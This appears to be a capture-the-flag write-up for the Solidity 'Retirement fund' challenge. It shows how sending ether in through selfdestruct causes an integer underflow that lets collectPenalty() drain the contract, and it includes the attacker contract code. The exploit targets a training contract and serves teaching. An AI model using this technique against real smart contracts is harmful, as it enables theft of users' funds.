Skip to content

Retirement fund

pragma solidity ^0.4.21;

contract RetirementFundChallenge {
  uint256 startBalance;
  address owner = msg.sender;
  address beneficiary;
  uint256 expiration = now + 10 years;

  function RetirementFundChallenge(address player) public payable {
    require(msg.value == 1 ether);

    beneficiary = player;
    startBalance = msg.value;
  }

  function isComplete() public view returns (bool) {
    return address(this).balance == 0;
  }

  function withdraw() public {
    require(msg.sender == owner);

    if (now < expiration) {
      // early withdrawal incurs a 10% penalty
      msg.sender.transfer(address(this).balance * 9 / 10);
    } else {
      msg.sender.transfer(address(this).balance);
    }
  }

  function collectPenalty() public {
    require(msg.sender == beneficiary);

    uint256 withdrawn = startBalance - address(this).balance;

    // an early withdrawal occurred
    require(withdrawn > 0);

    // penalty is what's left
    msg.sender.transfer(address(this).balance);
  }
}

Goal

Withdraw all the ETH from the smart contract

Exploit

In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.

We will sefdestruct the Attacker contract and send the ether in the Attacker to the RetirementFundChallenge contract.

This will cause the following calculation to underflow:

  uint256 withdrawn = startBalance - address(this).balance;

and calling collectPenalty() will allow us to withdraw all the funds from RetirementFundChallenge contract

To exploit the contract we need to:

  1. create Attacker contract, and send the address of the RetirementFundChallenge contract inside the Attacker contract, make the contructor payable and send some ETH to on Attacker creation (0.0001 eth for example)
  2. create attack() external function inside Attacker, and call the selfdestruct() function with the address of the RetirementFundChallenge as argument
  3. call collectPenalty() from RetirementFundChallenge contract

Attacker contract code

contract Attacker {
  address private fund;

  function Attacker(address _fund) public payable {
    fund = _fund;
  }

  function attack() external {
    selfdestruct(fund);
  }
}